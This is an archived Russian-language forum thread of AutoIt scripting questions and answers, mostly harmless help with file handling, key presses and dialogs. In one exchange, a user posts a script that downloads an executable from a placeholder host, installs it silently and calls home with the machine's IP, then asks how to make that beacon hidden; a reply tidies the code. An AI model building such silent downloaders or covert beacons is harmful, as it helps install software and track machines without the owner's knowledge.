[Архив - Часть 1.3] AutoIt скрипты

Ответить
 • Просмотры: 5
Аватара пользователя
Creat0R

Re: [Архив - Часть 1.3] AutoIt скрипты

Сообщение Creat0R »

Dirk Diggler


Цитата:



делать AND по каждому отдельному символу считанной строки и сравнить результат с одим символом?



Так это же будет намного медленнее(?)...



Я если честно не вникаю в затею, почему бы не записать временный массив при создании файла, и потом перечитать весь файл в другой массив, и заием сравнивать оба массива по одному элементу за раз? но опять же, я не вижу смысл всего этого, поэтому немного трудно помочь найти решение Изображение .




Цитата:



забыл после него ExitLoop



Вот я в начале и хотел в исправленный пример его добавить, но не был уверен что нужно прирываь цикл при первом различии строк.
Аватара пользователя
amel27

Re: [Архив - Часть 1.3] AutoIt скрипты

Сообщение amel27 »

Dirk Diggler
Цитата:



чтение большими блоками устранило проблему



проблема не только в размере блока, но и в функциях FileReadLine/FileWriteLine, которые более интеллектуальные по сравнению с обычными FileRead/FileWrite в части поиска/обработки символов конца строк, а значит и более медленные.


Цитата:



когда-то давно битовые логические операции были куда быстрей сравнения



В AutoIT кроме обычных строк есть бинарные, сравнение которых по идее должно проходить быстрей, но к сожалению все операции чтения файлов возвращают только стандартную символьную строку (даже если читать в RAW-mode), а смена типа строковой переменной может свести на нет это преимущество.... хотя, конечно, нужно пробовать



ADD: предположение не подтвердилось - бинарные строки сравниваются медленней обычных ~ на 10%, видимо оператор сравнения не оптимизирован для таких строк.
Аватара пользователя
mel_kos

Re: [Архив - Часть 1.3] AutoIt скрипты

Сообщение mel_kos »

как добраться до свойств диска?нужно включить квотирование.
Аватара пользователя
Creat0R

Re: [Архив - Часть 1.3] AutoIt скрипты

Сообщение Creat0R »

amel27



Возможно ли как то адаптировать твою API-функцию _FileSelectFolder() чтобы деактивировалась (disabled) кнопка ОК пр выбранных папках которые немогут содержать (для “нормальной” записи) данные (такие как “Мой компьютер”, “Корзина”, “Сетевое окружение”, “Панель управления” и т.п)? это реально?

И конечно очень хотелось бы всё таки иметь возможность указываь заранее исходный каталог (Init Dir).



Я тут уже почти доделал подобную функцию на обычном ГУИ, но у меня ушло более 5-сот строк кода и кучу времени на то чтобы построить этот недо-механизм... в общем получается но кривовато, и кажется очень не надёжно Изображение .
Аватара пользователя
magnetikus

Re: [Архив - Часть 1.3] AutoIt скрипты

Сообщение magnetikus »

Народ! Киньте ссылку или подскажите

1) Как нажать клавиши стрелочек, клавиши windows shift contol и т.д.

2) Как получить значение текста из поля ввода какой либо програмы

3)Есть ли где русскоязычный сайт посвящённый AutoIt?

P.S. Пишу скрипт переключения на другой SQL сервер через DSN
Аватара пользователя
Creat0R

Re: [Архив - Часть 1.3] AutoIt скрипты

Сообщение Creat0R »

magnetikus


Цитата:



Как нажать клавиши стрелочек





Код:

Код: Выделить всё

Send("{Down}")
Send("{Up}")

См. в справке (в шапке есть ссылки на русскую) команду Send.




Цитата:



Как получить значение текста из поля ввода какой либо програмы



Какой либо наврядли получится, а вот если это поле имеет идентификатор (ControlID) то можно попробовать (узнав его и заголовок программы из утилиты Au3Info.exe - в дистрибутиве с AutoIt'ом прилагается).




Цитата:



Есть ли где русскоязычный сайт посвящённый AutoIt?



Нет кажется (пока Изображение ), есть эта тема (мне лично безмерно помагали тут, и продолжают помагать Изображение ).

Входя в мир программирования, английский желательно основной знать, и тогда есть
офф. форум
Изображение - Там целый клад для начинающего программиста на AutoIt'е.
Аватара пользователя
GTeam

Re: [Архив - Часть 1.3] AutoIt скрипты

Сообщение GTeam »

Здравствуйте!



кто может сказать это правельный скрипт?



Код:

Код: Выделить всё

;качаем файл
InetGet("http://site.com/setup.exe", "setup.exe", 1, 1)
;ждём 30 секунд до запуска файла
$begin = TimerInit()
sleep(30000)
$dif = TimerDiff($begin)
;установка в тихом режиме
Global $file3='setup.exe'
RunWait ( $file3 & ' /S' )
;ждём 3 секунды что бы скачать класс Process.au3
$begin = TimerInit()
sleep(3000)
$dif = TimerDiff($begin)
;качаем класс Process.au3
InetGet("http://www.site.com/Process.au3", "Process.au3", 1, 1)
;ждём 10 секунд для выполнение RunDos комманды
$begin = TimerInit()
sleep(10000)
$dif = TimerDiff($begin)
;выполняем RunDos комманду
#include 
$rc = _RunDos("start http://site.com/autoit/stats.php?v=1&ip=1.0.0.1&file=autoit3.exe")

есть еще пару вопросов...

1. насколько и как максимально уменьшить размер создоваемого exe файла?

2. как сделать что бы после удачного завершения скрипта он посылал маяк на сервер например:
http://site.com/autoit/stats.php?v=1&ip=
[ ip машины ]&file=[ exe файл который содержит в себе этот скрипт например autoit.exe файл который установился ]

как можно это реализовать? нужно это сделать в скрытом режими через RunDos не получиться !
Аватара пользователя
twincode

Re: [Архив - Часть 1.3] AutoIt скрипты

Сообщение twincode »

Подскажите есть ли возможность прочитать файл с разделителями при помощи Autoit.

Команда for /F с этим справляется отлично,но хочется через autoit.

Подскажите.Спасибо.
Аватара пользователя
Creat0R

Re: [Архив - Часть 1.3] AutoIt скрипты

Сообщение Creat0R »

GTeam


Цитата:



это правельный скрипт?



Не совсем, TimerInit/Diff там лишние (это нужно для засикания промежутка времени от одной точки во времени к другой), команда Sleep() замечательно сама справляется с задержкой Изображение





Код:

Код: Выделить всё

;качаем файл
InetGet("http://site.com/setup.exe", "setup.exe", 1, 1)
;ждём 30 секунд до запуска файла
sleep(30000)
;установка в тихом режиме
Global $file3='setup.exe'
RunWait ( $file3 & ' /S' )
;ждём 3 секунды что бы скачать класс Process.au3
sleep(3000)
;качаем класс Process.au3
InetGet("http://www.site.com/Process.au3", "Process.au3", 1, 1)
;ждём 10 секунд для выполнение RunDos комманды
sleep(10000)
;выполняем RunDos комманду
$rc = _RunDos("start http://site.com/autoit/stats.php?v=1&ip=1.0.0.1&file=autoit3.exe")

А также там лишний #Include - после этого должно быть что то указанно (файл вложения).




Цитата:



насколько и как максимально уменьшить размер создоваемого exe файла?



Чем меньше кода, меньша устанавливаемых файлов, ну и ещё от версии Аутоита зависит.



twincode


Цитата:



есть ли возможность прочитать файл с разделителями при помощи Autoit



Как понять с разделителями? через delims=xxx? тут немного другая ситуация, какую конкретно задачу нужно выполнить? на аутоите работа с файлами намного продвинутее чем в ком. строке Изображение .
Аватара пользователя
GTeam

Re: [Архив - Часть 1.3] AutoIt скрипты

Сообщение GTeam »

Цитата:



А также там лишний #Include - после этого должно быть что то указанно (файл вложения).



но если убрать инклуд то rundos не будет работать..
Ответить

Вернуться в «AutoIt»